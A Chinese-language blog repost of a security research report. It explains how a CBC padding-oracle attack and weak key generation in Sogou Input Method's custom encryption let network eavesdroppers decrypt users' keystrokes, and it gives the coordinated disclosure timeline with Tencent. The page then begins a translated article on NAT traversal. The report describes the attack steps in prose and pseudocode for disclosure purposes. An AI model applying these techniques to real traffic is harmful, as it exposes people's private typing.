/></div><p>在本报告中,我们分析了腾讯的搜狗输入法,这是中国最受欢迎的输入法,拥有超过4.55亿的月活跃用户,并且有适用于Windows、Android和iOS等多个平台的应用程序版本。搜狗输入法占据了中国输入法用户的70%,其次是讯飞和百度的产品。麦咖啡在2015年的分析中曾观察到该应用程序的Windows版本在不加密的情况下传输设备标识符,但没有分析该应用程序的加密系统传输的数据的安全性。</p><p>我们分析了搜狗输入法的Windows、Android和iOS版本,发现该应用程序的自定义加密系统存在严重的漏洞,使得诸如用户按键等敏感数据可以被网络窃听者解密。我们发现的这些漏洞不仅限于中国的中文作者,根据市场研究估计,访问该应用程序网站的美国用户占比超过3.3%,台湾占近1.8%,日本占超过1.5%。</p><p>本报告的其余部分结构如下。在“方法论”部分,我们概述了我们用于分析搜狗输入法的逆向工程工具和技术。在“发现”部分,我们描述了搜狗输入法的自定义加密系统的工作原理,我们发现的漏洞以及受影响的数据传输示例。在“缓解措施”和“协调披露”部分,我们讨论了搜狗如何修复我们报告的漏洞以及我们如何向他们报告漏洞。最后,在“讨论”部分,我们反思了这些漏洞对中国应用程序生态系统中的系统性问题的影响。</p><h2>方法论:</h2><p>我们分析了搜狗输入法的Windows、Android和iOS版本。为了获取我们分析的版本,我们在2023年5月从产品网站下载了Windows和Android版本的最新版本(尽管Android版本截至2021年6月3日仍然可用,但目前在Google
Play商店中不可用)。我们从Apple的App Store获取了iOS版本(有关分析版本的详细信息,请参见表1)。</p><p>平台 搜狗输入法版本 设备</p><p>Windows 7 SP1 13.4 虚拟机</p><p>Android 9 11.20 Google Pixel 2</p><p>iOS 14.8 11.21 iPhone SE 2代</p><p>表1:分析的搜狗输入法版本的详细信息。</p><p>我们使用静态和动态分析方法分析了这些版本的搜狗输入法。我们使用jadx对Dalvik字节码进行静态分析和反编译,使用IDA
Pro对本机机器代码进行静态分析和反编译。我们使用frida对Android和iOS版本进行动态分析,使用IDA
Pro对Windows版本进行动态分析。最后,我们使用Wireshark和mitmproxy进行网络流量捕获和分析。</p><h2>发现:</h2><p>我们发现搜狗输入法的每个版本都使用一个名为“EncryptWall”的加密系统对敏感数据进行加密。我们发现Windows和Android版本的搜狗输入法在这个加密系统中存在漏洞,包括对CBC填充预言攻击的漏洞,这使得网络窃听者可以恢复加密的网络传输的明文,揭示包括用户输入的内容在内的敏感信息(请参见表2以了解受影响的版本的详细信息)。在Android版本的情况下,我们还能够恢复用于加密流量的对称加密密钥的第二半部分。我们还发现了影响iOS版本的加密的漏洞,但我们目前不知道如何利用我们分析的版本中的这些漏洞。</p><p>平台 是否可利用?</p><p>Windows 是</p><p>Android 是</p><p>iOS 没有已知的利用方法</p><p>表2:搜狗输入法受影响的版本摘要。</p><p>在本节的其余部分,我们详细介绍了对搜狗的EncryptWall加密系统的攻击。我们首先介绍加密系统的背景,然后详细说明我们对其进行的攻击,最后分析我们的攻击如何适用于我们分析的三个平台,以适应EncryptWall系统在不同平台上的实现差异。</p><h2>搜狗的EncryptWall</h2><p>我们在本报告中讨论的攻击涉及我们在搜狗的“EncryptWall”加密系统中发现的漏洞,该系统似乎旨在通过明文HTTP
POST请求中的加密字段,将敏感流量安全地隧道传输到未加密的搜狗HTTP
API端点。在本报告中,我们将外部的明文HTTP请求称为EncryptWall请求,而每个EncryptWall请求封装了隧道请求的单个加密请求。尽管在我们分析的三个平台上的实现存在差异,但我们发现该系统的工作原理通常如下:</p><p>EncryptWall请求作为HTTP
POST请求发送到搜狗EncryptWall
API端点,其中包含至少五个HTTP表单字段,指定用于加密隧道请求以及加密隧道数据的加密参数。两个表单字段与指定用于加密EncryptWall请求中的其他字段的密钥和初始化向量(IV)有关:</p><p>“K” - 使用PKCS#v1.5填充,使用硬编码的1024位公共RSA密钥对256位AES密钥k进行加密的base64编码;每个请求随机生成k</p><p>“V” - 使用硬编码的128位初始化向量v进行加密的base64编码;每个请求随机生成v</p><p>这些字段中的三个字段分别进行zlib压缩、使用k和v进行加密,并根据以下伪代码进行base64编码:</p><p>ᴇɴᴄʀʏᴘᴛ(data) = base64_encode(AES_cbc_encrypt(zlib_compress(data, wbits=-15), k, v))</p><p>我们一直观察到以这种方式加密的三个字段如下:</p><p>“U” - ᴇɴᴄʀʏᴘᴛ(隧道HTTP请求的URL)</p><p>“G” - ᴇɴᴄʀʏᴘᴛ(隧道HTTP请求的GET参数,以查询字符串的形式)</p><p>“P” - ᴇɴᴄʀʏᴘᴛ(隧道HTTP请求的原始POST数据,如果有的话)</p><p>根据分析的平台和正在进行的请求类型,EncryptWall请求可能通过加密的HTTPS或明文HTTP发送。在使用HTTPS发送EncryptWall请求的情况下,我们认为这些请求在网络窃听方面是安全的,尽管EncryptWall请求的底层加密可能存在缺陷,HTTPS的TLS加密还可以提供额外的保护。因此,我们在本节其余部分的发现仅涉及我们观察到的通过不受HTTPS额外保护的明文HTTP发送的EncryptWall请求。</p><h2>攻击</h2><p>我们发现EncryptWall系统容易受到CBC填充预言攻击的漏洞,这是一种最初于2002年发表的攻击类型,影响使用密码块链接(CBC)块密码模式和PKCS#7填充的块密码。在这种攻击中,可以逐字节地恢复消息的明文,每个字节最多使用256个消息。我们不打算在此完全重述此攻击的工作原理,该攻击依赖于一种称为填充预言的特定类型的边信道,该边信道明确地显示解密后的接收到的密文是否正确填充。我们在EncryptWall系统中识别到了这样的预言,我们发现在“U”表单字段中发送的密文在包含错误填充时返回HTTP
400状态码,而在正确填充时,根据解密后的URL是否是有效URL,返回200状态码或500状态码。通过进行CBC填充预言攻击,这个填充预言允许我们不仅揭示“U”的整个明文,还可以揭示“G”和“P”的明文,因为它们使用相同的密钥和初始化向量。因此,通过使用这个填充预言,我们可以解密整个EncryptWall请求的内容。</p><p>在本节的其余部分,我们将这个攻击适应到Windows和Android平台上EncryptWall系统实现的所有偏差。尽管我们目前无法利用我们在iOS版本中发现的问题,但我们还是详细说明了EncryptWall系统中的问题。</p><h2>Windows版本13.4</h2><p>我们分析的Windows版本中实现的EncryptWall系统在一个细节上与上述基本实现有所偏差,即IV
v不是公开的,而是以与AES密钥k相同的方式进行加密。由于这种差异,v不是立即可知的,这可能会带来两个潜在的问题:首先,在CBC填充预言攻击中,必须知道IV才能解密第一个明文块。其次,由于在加密之前,EncryptWall请求中的隧道数据被压缩,第一个明文块对于解压缩其余块来说非常重要。</p><p>然而,我们开发了一种方法来恢复v,该方法利用v被重用以加密多个明文的事实。具体而言,由于“U”的URL很容易预测,并且始终只有少数可能的端点之一,我们可以通过在第一个密文块“U”上执行CBC填充预言攻击来恢复v,假设初始IV为全零。这种攻击的结果将是URL的第一个明文块与v异或的结果。然后,我们将此结果与我们对URL的第一个明文块的预测进行异或,得到v。一旦我们恢复了v,我们就可以像往常一样对“G”和“P”进行CBC填充预言攻击。</p><div data-file="" data-filetype="image/png" data-url="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/b6a2e2c5-3cec-4e75-acb0-95562777cc6b_image_image.png"><img alt="Picked image" src="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/b6a2e2c5-3cec-4e75-acb0-95562777cc6b_image_image.png" /></div><p></p><p>作为此攻击易受攻击的数据的一个示例,我们发现对于发送到 “<a href="http://get.sogou.com/q”的EncryptWall请求,当“U”为“http://master-proxy.shouji.sogou.com/swc.php”" target="_blank">http://get.sogou.com/q”的EncryptWall请求,当“U”为“http://master-proxy.shouji.sogou.com/swc.php”</a>
时,“G”包含与搜狗软件版本相关的版本信息,“P”是一个包含最近输入的按键的protobuf缓冲区(请参见图2的示例)。我们认为这些传输与基于云的自动完成服务有关。由于这些传输容易受到我们的攻击,搜狗输入法用户的按键可以被网络窃听者解密,从而告知窃听者用户实时输入的内容。</p><h2>Android版本11.20</h2><p>我们分析的Android版本采用了EncryptWall的基本实现,但增加了四个额外的表单字段:“R”、“S”、“E”和“F”。字段“R”传输另一个32字节的密钥r。值得注意的是,r的每个字节都是从ASCII大写字母和数字的36个字符集中随机选择的。因此,与25632
= 2256位熵相比,该密钥只有3632 <
2166位熵。此外,与k不同,r不是每个请求随机生成的,而是仅在应用程序生命周期内生成一次,并且缓存在C静态内存中。字段“R”然后作为k ⊕
r的base64编码进行传输。请注意,由于这种传输,k的熵也降低到3632 <
2166位熵。参数k、r和v用于根据以下伪代码对“S”、“E”和“F”进行编码和加密:</p><p>ᴇɴᴄʀʏᴘᴛSEF(data) = base64Encode(k ⊕ AES_cbc_encrypt(data, r, “EscowDorisCarlos”))</p><p>请注意,与典型的ᴇɴᴄʀʏᴘᴛ()函数不同,ᴇɴᴄʀʏᴘᴛSEF()函数具有硬编码的IV“EscowDorisCarlos”且不进行zlib压缩。此外,尽管ᴇɴᴄʀʏᴘᴛSEF()使用r而不是k作为AES密钥,但k还与AES加密结果进行异或。每个字段“S”、“E”和“F”都根据ᴇɴᴄʀʏᴘᴛSEF()函数进行单独加密和编码。</p><p>尽管使用了这种修改后的加密算法,我们仍然能够成功攻击这些字段的加密。我们能够应用CBC填充预言攻击,使用搜狗对“E”表单字段的处理来替代我们通常使用的“U”表单字段,但有以下两个适应:</p><p>首先,由于密钥k是32字节,而AES块是16字节,当AES块密码的输出与k进行异或时,我们可以将输出视为与两个密钥k1和k2进行异或的结果,其中k1与奇数块(1、3、…)进行异或,k2与偶数块(2、4、…)进行异或(请参见图3的示例)。因此,在进行CBC填充预言攻击时,我们必须确保我们攻击的块在原始块为偶数时处于偶数位置,原始块为奇数时处于奇数位置。换句话说,我们必须保持块位置的奇偶性。</p><p>其次,由于IV是硬编码的,我们无法修改它,因此,类似于Windows版本,CBC填充预言攻击无法在没有适应的情况下恢复第一个明文块p1。换句话说,我们发现p1对于“S”、“E”和“F”字段仍然是可恢复的,通过以下步骤:</p><p>我们将固定的IV“EscowDorisCarlos”视为第一个密文块c1之前的一个密文块c0,并将其发送给预言。由于c1必须位于奇数位置,我们确保c0位于偶数位置。因此,在攻击过程中,预言在解密第一个密文块c1时首先将c0与k2进行异或。</p><p>结果,解密c1会产生p1',它等于p1 ⊕ “EscowDorisCarlos” ⊕ c0 ⊕ k2。</p><p>由于(根据步骤1)c0 = “EscowDorisCarlos”,p1'仅仅是p1 ⊕ k2。因此,通过应用步骤1-3,我们恢复了“S”、“E”和“F”字段的p1 ⊕ k2。</p><p>此外,我们还发现“S”字段的第一个明文块的内容非常可预测。具体而言,它们包含正在使用的搜狗版本,这已经作为EncryptWall请求的HTTP头明文传输,因此任何网络窃听者都可以获得这些信息。因此,在“S”字段的情况下,我们知道p1。在步骤3中,我们恢复了“S”字段的p1
⊕ k2。由于我们知道p1和p1 ⊕ k2,因此我们已经恢复了k2。</p><p>一旦我们知道了k2,它对于“E”和“F”字段也是相同的值,因为(根据步骤3)我们知道了“E”和“F”字段的p1 ⊕ k2,我们也可以恢复“E”和“F”的p1。</p><p>此外,我们现在还可以恢复r的第二半部分r2,这对于攻击者很有帮助,因为我们对r2的了解可以在随后的请求中更容易地恢复k2。请记住,“R”字段对k
⊕
r进行编码。因此,在恢复k2后,我们可以通过将“R”字段的编码内容的第二半部分与k2进行异或来恢复r2。一旦恢复了r2,由于r与k不同,每个应用程序生命周期只生成一次,我们可以更容易地通过将“R”的第二半部分与r2进行异或来在将来的请求中恢复k2,从而使攻击更容易进行。此外,这也降低了r的熵,因此也降低了k的熵,使其为3616
< 283位。</p><p>作为此攻击易受攻击的数据的另一个示例,我们观察到对于发送到“<a href="http://v2.get.sogou.com/q”的EncryptWall请求,当“U”为“http://swc.pinyin.sogou.com/swc.php”" target="_blank">http://v2.get.sogou.com/q”的EncryptWall请求,当“U”为“http://swc.pinyin.sogou.com/swc.php”</a>
时,“P”是一个包含当前输入字段中的所有文本以及文本所在应用程序的包名的protobuf缓冲区(请参见图4的示例)。这些传输发生在按下放大镜图标时,我们认为这些传输与一种图像搜索功能有关,其中输入的文本将与动画和表情包的数据库进行搜索,并可以插入到输入的消息中。由于这些传输易受我们的攻击,搜狗输入法用户的按键是网络窃听者可以解密的内容,从而告知窃听者这些用户在输入时正在输入什么。</p><p>作为此攻击易受攻击的数据的另一个示例,我们观察到对于发送到“<a href="http://v2.get.sogou.com/q”的EncryptWall请求,当“U”为“http://update.ping.android.shouji.sogou.com/update.gif”" target="_blank">http://v2.get.sogou.com/q”的EncryptWall请求,当“U”为“http://update.ping.android.shouji.sogou.com/update.gif”</a>
时,“P”是一个查询字符串,其中包含Android设备上安装的每个应用程序的列表。我们不知道这个数据传输实现的具体功能是什么。虽然可以想象知道用户当前正在使用的应用程序可能有助于在该应用程序中提供更好的输入建议,但很难想象知道用户安装了每个应用程序,甚至是用户不打算与搜狗输入法一起使用的应用程序,如何提供更好的输入建议。</p><p>iOS版本11.21</p><p>我们分析的iOS版本与基本的EncryptWall实现没有明显的偏差。然而,与我们在某些平台上观察到的一些EncryptWall请求通过加密的HTTPS发送,其他通过明文HTTP发送不同,我们观察到的所有由我们分析的iOS版本发送的EncryptWall请求都通过HTTPS发送,因此我们认为它们在网络窃听方面是安全的。然而,我们注意到,如果没有HTTPS的额外保护,iOS版本将是最容易受到攻击的,因为在EncryptWall的实现中存在另一个缺陷。具体而言,我们发现iOS版本根据以下代码随机选择密钥k和IV
v:</p><p>请注意,在随机生成密钥之前,随机数生成器以从Unix纪元以来的秒数为种子,向下取整。这种行为有两个后果:首先,推导AES密钥k所需的唯一信息是请求发送的时间,任何网络窃听者都可以轻松记录。其次,由于随机数生成器在生成IV
v之前使用几乎总是相同的时间进行重新种子化,v几乎总是k的前128位。由于v是公开的,所有的EncryptWall消息都会在v中公开k的前半部分,尽管k使用公共RSA密钥进行了加密。</p><p>然而,我们再次注意到,由于EncryptWall请求在iOS上似乎总是额外包装在HTTPS中,因此目前无法利用这个缺陷。然而,由于这个缺陷的严重性,我们仍然不得不提及它,因为先前的iOS版本可能会受到影响,并且这段代码可能会在其他可能存在漏洞的应用程序中被重用。</p><h2>缓解措施</h2><p>为了解决报告的问题,搜狗输入法应该使用流行的、最新的HTTPS或TLS实现来保护所有传输,而不是依赖自定义的加密来保护敏感用户数据的传输。此外,搜狗输入法不应传输对程序功能无关的数据。</p><h2>协调披露</h2><p>2023年5月31日,我们在附上的信函中向腾讯披露了我们的发现,遵循我们的安全披露漏洞政策。下表3是我们的披露时间表:</p><p>日期 联系方式</p><p>2023年5月31日 漏洞披露给IMETS@tencent.com。</p><p>2023年6月16日 通过腾讯安全响应中心(TSRC)网门披露漏洞。</p><p>2023年6月25日 我们通过TSRC门户收到以下回复:</p><p>“感谢您对腾讯安全的关注。对于此问题,没有低或低安全风险。期待您的下一个更令人兴奋的报告。”</p><p>2023年6月25日 18小时后,我们通过TSRC门户收到以下回复:</p><p>“很抱歉,我之前的回复是错误的,我们正在处理这个漏洞,请不要公开,非常感谢您的报告。”</p><p><b>腾讯对我们的披露的最初拒绝和随后的改变成为本报告标题的灵感。</b></p><p>2023年6月26日 我们通过TSRC门户发送以下消息:</p><p>“感谢您的更新。我们将在2023年7月31日之后公开披露此漏洞。”</p><p>2023年6月28日 我们通过TSRC门户收到以下回复:</p><p>“非常感谢您的报告,修复计划和修复时间已通过电子邮件回复给disclosure@citizenlab.ca。”</p><p>2023年6月28日 我们通过TSRC门户发送以下消息:</p><p>“我们没有在该地址收到此类电子邮件。然而,我们注意到我们的域名(citizenlab.ca)可能无法从中国访问,因此来自中国的电子邮件可能无法传递到该地址。您能否将您发送到disclosure@citizenlab.ca的电子邮件的副本发送到我的另一个电子邮件地址[已删除]@utoronto.ca?我相信从中国发送电子邮件到这个utoronto.ca地址不会有问题。谢谢。”</p><p>2023年6月29日 我们通过TSRC门户收到以下回复:</p><p>“我们发送的电子邮件是security@tencent.com,主题是:回复搜狗拼音法漏洞,可能被归类为垃圾邮件?”</p><p>2023年6月29日 我们通过TSRC门户发送以下消息:</p><p>“不幸的是,我们没有在该地址收到此类电子邮件,甚至没有在垃圾邮件文件夹中收到。您能否尝试将电子邮件的副本发送到我的另一个电子邮件地址[已删除]@utoronto.ca?谢谢。”</p><p>2023年7月4日 我们通过TSRC门户收到以下回复:</p><p>“您能使用disclosure@citizenlab.ca给security@tencent.com发送一封未经请求的电子邮件吗?然后我将把修复细节发送到[已删除]@utoronto.ca。”</p><p>2023年7月4日 我们通过TSRC门户发送以下消息:</p><p>“是的,我们现在已经发送了这样一封电子邮件,正在等待您的回复。”</p><p>2023年7月4日 我们在[已删除]@utoronto.ca电子邮件地址收到以下回复。在电子邮件回复中,搜狗输入法开发人员概述了他们已经在电子邮件日期之前部署的部分缓解措施,以及将在2023年7月31日之前将所有平台迁移到使用TLS加密的时间表。</p><p>2023年7月18日 我们发现搜狗输入法开发人员已经发布了每个平台的应用程序版本,这些版本被确定为修复我们发现的问题的版本。我们发现Windows和iOS版本解决了我们报告的问题,但Android版本没有。因此,我们通过TSRC门户发送以下消息:</p><p>“你好。在您发送给我们的电子邮件中,您指出Android应用程序的11.25版本将升级为使用HTTPS发送EncryptWall请求。我们分析了11.25版本(SogouInput_11.25_android_sweb.apk),发现它仍然没有使用HTTPS来传输我们在披露中发现的所有EncryptWall请求,包括我们报告的请求。11.25版本仍然是应该包含这些修复的Android应用程序版本吗,还是将在未来版本中修复?”</p><p>2023年7月20日 我们发现搜狗输入法开发人员已经发布了Android应用程序的11.26版本。我们发现这个版本解决了我们报告的所有问题。</p><p>2023年7月21日 TSRC门户提示以下消息:</p><p>“漏洞已修复,请查看并检查是否仍存在。如果已修复,请点击“已修复”;如果未修复,请点击“未修复”。”</p><p>我们点击了“已修复”。</p><p>2023年7月22日 我们通过TSRC门户收到以下回复:</p><p>“感谢您的反馈。我们将在内部进行调查。”</p><p>2023年7月24日 我们通过TSRC门户收到以下回复:</p><p>“非常感谢您的反馈,我们的最新修复版本是11.26(SogouInput_11.26_android_sweb.apk),您可以从我们的官方网站https:<a href="https:////shurufa.sogou.com/下载。如果您有其他问题,请告诉我们。谢谢。”" target="_blank">//shurufa.sogou.com/下载。如果您有其他问题,请告诉我们。谢谢。”</a></p><p>2023年7月27日 我们在[已删除]@utoronto.ca电子邮件地址收到以下电子邮件。在电子邮件中,搜狗输入法开发人员向我们提供了包含修复的版本,并询问我们公开披露的“确切时间、网站和具体内容”。</p><p>2023年7月27日 我们通过[已删除]@utoronto.ca发送以下回复:</p><p>“我们可以确认您已经修复了我们报告的漏洞。我们将在2023年7月31日之后公开披露这些漏洞。我们将在我们的网站<a href="https://citizenlab.ca/上发布有关安全漏洞的详细报告。”" target="_blank">https://citizenlab.ca/上发布有关安全漏洞的详细报告。”</a></p><p>2023年7月29日 我们在[已删除]@utoronto.ca电子邮件地址收到以下电子邮件。在电子邮件中,搜狗输入法表示他们致力于隐私和安全,并解释了他们实施EncryptWall系统的最初动机,并提醒我们他们对报告的漏洞的快速解决。</p><p>表3:漏洞披露时间表。</p><p>2023年7月4日,我们评估了搜狗输入法开发人员在2023年6月30日应用的部分缓解措施,其中,如果出现错误,搜狗服务器始终返回相同的HTTP状态码-400-而不是根据是否存在填充错误或某个更高级别的应用层返回400或500。虽然这减轻了我们对Windows版本搜狗输入法的攻击以及对Android版本的“U”、“G”和“P”字段的攻击,但我们对Android的“S”、“E”和“F”字段的攻击仍然有效,因为它依赖于区分HTTP状态码400和200,其中200是成功代码而不是错误代码,而且这种缓解只是修改服务器,在发生错误的情况下无条件返回状态码400。</p><p>平台 修复版本</p><p>Windows 13.7</p><p>Android 11.26</p><p>iOS 11.25</p><p>表4:搜狗输入法的修复版本。</p><p>在搜狗输入法开发人员的2023年7月4日的通信中,他们表示Windows版本的应用程序的13.7版本和Android和iOS版本的应用程序的11.25版本将解决我们报告的问题。2023年7月18日,我们发现这些版本的应用程序已经发布。请注意,这些更新是在我们强制执行的7月31日截止日期之前发布的。分析更新的Windows版本,我们发现所有EncryptWall流量都使用操作系统的WinHTTP服务提供的TLS实现进行加密,令人满意地修复了我们在Windows版本中报告的漏洞。请记住,我们不知道如何利用我们在iOS版本中发现的问题。尽管最初将11.25版本确定为解决我们报告的漏洞,但我们发现2023年7月20日,搜狗输入法开发人员发布了Android应用程序的11.26版本,并且该版本使用TLS加密所有EncryptWall流量,令人满意地修复了我们在Android版本中报告的漏洞。因此,到2023年7月20日,我们报告的所有问题都已修复(请参见表4以获取修复版本的摘要)。</p><p>我们在收到腾讯对我们披露的电子邮件回复方面遇到的困难突显了在向某些司法管辖区的公司披露漏洞时面临的意外挑战。在向腾讯披露漏洞后,我们发现我们的电子邮件域名(citizenlab.ca)在中国被屏蔽。具体而言,我们发现中国的国家防火墙对查询此域名(包括MX记录查询)的DNS回复注入了异常的DNS回复。注入的DNS回复包含一个看似任意的IP地址的A记录,即使查询是针对MX记录而不是A记录。当执行A记录查询的客户端收到其中一个注入的回复时,它将错误地使用注入回复中的虚假IP地址。然而,对于MX记录,这些注入的回复可能会被DNS客户端解释为错误,因为在MX查询中收到A记录,而DNS客户端对注入域名的MX查询可能只是失败,而不是像A查询中那样错误地使用虚假记录。尽管这种注入行为可能旨在阻止中国用户访问我们的网站,但它也妨碍了中国用户发送电子邮件给我们的能力,即使这样的电子邮件是经过征求的。</p><p>我们无法确定中国屏蔽我们域名的原因是腾讯的电子邮件未能传递到我们域名的电子邮件服务器,但我们收到了一些后来的证据,进一步加强了这个假设。我们在[已删除]@utoronto.ca上收到的7月27日的电子邮件也发送到了disclosure@citizenlab.ca。最终,disclosure@citizenlab.ca地址在24小时后收到了电子邮件。通过检查电子邮件的标头,我们<a href="https://发现电子邮件在腾讯的邮件服务器和Google的MX服务器之间停滞不前。由于Google是我们的电子邮件提供商在citizenlab.ca" target="_blank">发现电子邮件在腾讯的邮件服务器和Google的MX服务器之间停滞不前。由于Google是我们的电子邮件提供商在citizenlab.ca</a>
MX记录中,这一发现加强了腾讯的邮件服务器在查找我们域名的MX记录时遇到困难的假设。电子邮件可能最终在24小时后被传递,这是由于中国防火墙的间歇性故障或数据包丢失导致防火墙注入的DNS回复丢失,从而使我们域名的MX查询最终成功。因此,我们选择使用另一个我们最了解的在任何国家都没有被屏蔽的域名进行所有未来的披露,以确保我们不会在协调披露期间未能收到关键的沟通。同时,我们要求防火墙操作员考虑阻止域名可能会产生意想不到的后果,例如对那些可能在参与重要对话期间受到防火墙背后的软件漏洞影响的人的持续漏洞的贡献。</p><h2>限制</h2><p>在本报告中,我们详细介绍了搜狗EncryptWall加密系统在搜狗输入法中的使用的漏洞。然而,在这项工作中,我们没有对搜狗输入法进行全面审计,也没有尝试全面发现软件中的每个安全漏洞。我们的报告涉及我们发现的一组相关漏洞,我们未报告其他漏洞并不意味着这些漏洞不存在的证据。</p><p>讨论</p><p>在过去的八年中,我们致力于分析、记录和负责任地披露中国开发的应用程序中涉及敏感数据不安全传输的漏洞。尽管我们在与开发人员协调解决这些问题方面取得了一些成功,但该生态系统仍存在问题,因为我们在这里再次报告一个难以想象的受欢迎的中国开发的应用程序未能采用甚至简单的最佳实践来保护其传输的敏感数据。在这种情况下,搜狗输入法是一个拥有超过4.5亿用户的应用程序,未能正确保护敏感数据的传输,包括用户输入的按键,使得任何网络窃听者都可以恢复这些数据。通过采用常见且成熟的加密协议TLS,而不是使用“自制”加密方法,可以轻松避免这种漏洞。虽然没有完美的加密协议,但TLS实现在2003年已经改善了对CBC填充错误攻击的脆弱性,这已经是本文撰写时的二十年前了。我们已经认识到,协调的安全披露远远不足以保护中国应用程序传输的用户数据。我们认为,需要对软件开发生态系统进行全面的变革,以解决这些系统性问题。</p><p>即使已经解决了报告的漏洞,搜狗应用程序仍依赖将键入的内容传输到搜狗的服务器作为其普通功能的一部分。来自世界各地的用户的按键输入被传输到中国大陆的服务器,这些服务器在中国政府的法律管辖下运营。使用搜狗的高风险用户应该谨慎,因为键入的内容可能包含敏感或个人信息。本报告中概述的攻击演示了网络窃听者如何解密这些数据。然而,即使漏洞得到解决,这些数据仍然可以被搜狗的运营商和与他们共享数据的任何人访问。</p><h2>致谢</h2><p>我们要感谢Jakub Dalek、Pellaeon Lin、Adam Senft和Mari Zhou对编辑和同行评审的宝贵贡献。该项目的研究由Ron Deibert监督。</p> <div class="blogger-post-footer">翻墙技术博客<a href="http://www.chinagfw.org/2013/09/blog-post.html">订阅地址及社交帐号</a></div>pompeihttp://www.blogger.com/profile/07160630084550754009noreply@blogger.com0tag:blogger.com,1999:blog-5500297126185736776.post-83328949859384454952023-08-07T13:55:00.005+08:002023-08-22T23:39:17.889+08:00NAT 穿透是如何工作的:技术原理及企业级实践<span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">
</span><p>via: <a href="https://arthurchiao.art/blog/how-nat-traversal-works-zh/" target="_blank">https://arthurchiao.art/blog/how-nat-traversal-works-zh/</a></p><p> </p><p><i>本文翻译自 2020 年的一篇英文博客: <a href="https://tailscale.com/blog/how-nat-traversal-works/" rel="noreferrer noopener" target="_blank">How NAT traversal works</a>。</i></p>
<p>设想这样一个问题:在北京和上海各有一台<strong>局域网的机器</strong>(例如一台是家里的台式机,一 台是连接到星巴克 WiFi 的笔记本),二者都是私网 IP 地址,但可以访问公网, <strong>如何让这两台机器通信呢?</strong></p>
<p>既然二者都能访问公网,那最简单的方式当然是在公网上架设一个中继服务器: 两台机器分别连接到中继服务,后者完成双向转发。这种方式显然有很大的性能开销,而 且中继服务器很容易成为瓶颈。</p>
<p>有没有办法不用中继,让<strong>两台机器直接通信</strong>呢?</p>
<p>如果有一定的网络和协议基础,就会明白这事儿是可能的。Tailscale 的这篇<strong>史诗级长文</strong>由浅入深地展示了这种“可能”,如果完全实现本文所 介绍的技术,你将得到一个企业级的 NAT/防火墙穿透工具。 此外,如作者所说,<strong>去中心化软件</strong>领域中的许多有趣想法,简化之后其实都变成了 <strong>跨过公网(互联网)实现端到端直连</strong> 这一问题,因此本文的意义并不仅限于 NAT 穿透本身。</p>
<p><strong>由于译者水平有限,本文不免存在遗漏或错误之处。如有疑问,请查阅原文。</strong></p>
<p>以下是译文。</p>
<p>在前一篇文章 <a href="https://tailscale.com/blog/how-tailscale-works/" rel="noreferrer noopener" target="_blank">How Tailscale Works</a> 中, 我们已经用较长篇幅介绍了 Tailscale 是如何工作的。但其中并没有详细描述我们是 <strong>如何穿透 NAT 设备,从而实现终端设备直连的</strong> —— 不管这些终端之间 有什么设备(防火墙、NAT 等),以及有多少设备。本文试图补足这一内容。</p>
<h2>1.1 背景:IPv4 地址短缺,引入 NAT</h2>
<p>全球 IPv4 地址早已不够用,因此人们发明了 NAT(网络地址转换)来缓解这个问题。</p>
<p>简单来说,大部分机器都使用<strong>私有 IP 地址</strong>,如果它们需要访问公网服务,那么,</p>
<ul><li>出向流量:需要经过一台 NAT 设备,它会对流量进行 SNAT,将私有 srcIP+Port 转 换成 NAT 设备的公网 IP+Port(这样应答包才能回来),然后再将包发出去;</li><li>应答流量(入向):到达 NAT 设备后进行相反的转换,然后再转发给客户端。</li></ul>
<p>整个过程对双方透明。</p>
<blockquote>更多关于 NAT 的内容,可参考 <a href="https://arthurchiao.art/blog/nat-zh/" rel="noreferrer noopener" target="_blank">(译) NAT — 网络地址转换(2016)</a>。 译注。</blockquote>
<p>以上是本文所讨论问题的<strong>基本背景</strong>。</p>
<h2>1.2 需求:两台经过 NAT 的机器建立点对点连接</h2>
<p>在以上所描述的 NAT 背景下,我们从最简单的问题开始:如何在两台经过 NAT 的机器之间建立 <strong>点对点连接</strong>(直连)。如下图所示:</p>
<p><img alt="nat-intro.png" src="https://arthurchiao.art/assets/img/nat-traversal/nat-intro.png" /></p>
<p>直接用机器的 IP 互连显然是不行的,因为它们都是私有 IP(例如 <code>192.168.1.x</code>)。 在 Tailscale 中,我们会建立一个 <strong>WireGuard® 隧道</strong> 来解决这个问题 —— 但这并不是太重要,因为我们将<strong>过去几代人努力</strong>都整合到了一个工具集, <strong>这些技术广泛适用于各种场景</strong>。例如,</p>
<ol><li><a href="https://webrtc.org/" rel="noreferrer noopener" target="_blank">WebRTC</a> 使用这些技术在浏览器之间完成 peer-to-peer 语音、视频和数据传输,</li><li><strong>VoIP 电话和一些视频游戏</strong>也使用类似机制,虽然不是所有情况下都很成功。</li></ol>
<p>接下来,本文将<strong>在一般意义上讨论这些技术</strong>,并在合适的地方拿 Tailscale 和其他一些东西作为例子。</p>
<h2>1.3 方案:NAT 穿透</h2>
<h3>1.3.1 两个必备前提:UDP + 能直接控制 socket</h3>
<p>如果想<strong>设计自己的协议来实现 NAT 穿透</strong>,那必须满足以下两个条件:</p>
<ol><li>
<p><strong>协议应该基于 UDP</strong>。</p>
<p>理论上用 TCP 也能实现,但它会给本已相当复杂的问题再增加一层复杂性, 甚至还需要定制化内核 —— 取决于你想实现到什么程度。本文接下来都将关注在 UDP 上。</p>
<p>如果考虑 TCP 是想在 NAT 穿透时获得<strong>面向流的连接</strong>( stream-oriented connection),可以考虑用 <strong>QUIC</strong> 来替代,它构 建在 UDP 之上,因此我们能将关注点放在 UDP NAT 穿透,而仍然能获得一个 很好的流协议(stream protocol)。</p>
</li><li>
<p>对收发包的 <strong>socket 有直接控制权</strong>。</p>
<p>例如,从经验上来说,无法基于某个现有的网络库实现 NAT 穿透,因为我们 <strong>必须在使用的“主要”协议之外,发送和接收额外的数据包</strong>。</p>
<p>某些协议(例如 WebRTC)将 NAT 穿透与其他部分紧密集成。但如果你在构建自己的协议, <strong>建议将 NAT 穿透作为一个独立实体,与主协议并行运行</strong>,二者仅 仅是共享 socket 的关系,如下图所示,这将带来很大帮助:</p>
<p><img alt="nat-deep-integration.png" src="https://arthurchiao.art/assets/img/nat-traversal/nat-deep-integration.png" /></p>
</li></ol>
<h3>1.3.2 保底方式:中继</h3>
<p>在某些场景中,直接访问 socket 这一条件可能很难满足。</p>
